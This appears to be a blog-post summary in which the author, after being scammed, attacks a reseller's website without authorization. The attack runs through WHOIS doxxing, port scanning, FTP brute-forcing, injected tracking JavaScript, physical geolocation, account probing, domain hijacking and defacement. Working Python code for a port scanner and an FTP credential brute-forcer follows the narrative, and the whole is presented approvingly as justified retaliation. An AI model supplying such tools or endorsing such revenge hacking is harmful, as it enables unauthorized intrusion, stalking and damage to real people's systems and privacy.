A Personal Penetration Test Narrative: Hacking a Fraudulent Reseller with Python Tools
The author recounts a step‑by‑step penetration test against a fraudulent reseller, detailing OSINT gathering, port scanning, FTP brute‑forcing, JavaScript injection, location tracking, domain hijacking, and the deployment of custom Python scripts for each stage.
The author was scammed by a reseller selling counterfeit goods and decided to retaliate by conducting a full penetration test on the reseller's infrastructure.
First, OSINT was performed: the reseller's website was identified, WHOIS data was queried revealing the owner's name, phone number, and email without privacy protection.
Next, network reconnaissance was carried out. A port scan revealed that port 21 (FTP) was open, prompting a fuzzing attempt for weak credentials.
Using a custom Python FTP brute‑force script, the author successfully logged into the FTP server with weak credentials, gaining full control over the site.
With FTP access, the attacker injected malicious JavaScript into the homepage to capture the victim's IP address and later used an online GPS service to locate the physical coordinates of the reseller.
Further social‑engineering steps included searching for the victim's QQ account using the harvested phone number, attempting to access associated email accounts, and eventually compromising the domain's DNS settings to perform domain hijacking.
Finally, a black page was deployed on the compromised server as a “final blow,” and the author reflected on the experience, warning others about the dangers of weak security practices.
Below are the Python tools used in the attack:
import socket def Get_ip(domain): try: return socket.gethostbyname(domain) except socket.error as e: print('%s: %s' % (domain, e)) return 0 def PortScan(ip): result_list = [] port_list = range(1, 65535) for port in port_list: try: s = socket.socket() s.settimeout(0.1) s.connect((ip, port)) openstr = " PORT:" + str(port) + " OPEN " print(openstr) result_list.append(port) s.close() except: pass print(result_list) def main(): domain = raw_input("PLEASE INPUT YOUR TARGET:") ip = Get_ip(domain) print('IP:' + ip) PortScan(ip) if __name__ == '__main__': main()
import ftplib from ftplib import FTP def Login(host, username, password): ftp = FTP() try: ftp.connect(host, 21, 1) ftp.login(username, password) print('Crack successfully!') print('username: ' + username) print('Password: ' + password) return True except: pass if __name__ == '__main__': host_file = open('host.txt') for line in host_file: host = line.strip('\n') print('Target: ' + host) user_file = open('user.txt') for user_line in user_file: user = user_line.strip('\n') pwd_file = open('pwd.txt', 'r') for pwd_line in pwd_file: pwd = pwd_line.strip('\n') Login(host, user, pwd)
Python Programming Learning Circle
A global community of Chinese Python developers offering technical articles, columns, original video tutorials, and problem sets. Topics include web full‑stack development, web scraping, data analysis, natural language processing, image processing, machine learning, automated testing, DevOps automation, and big data.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.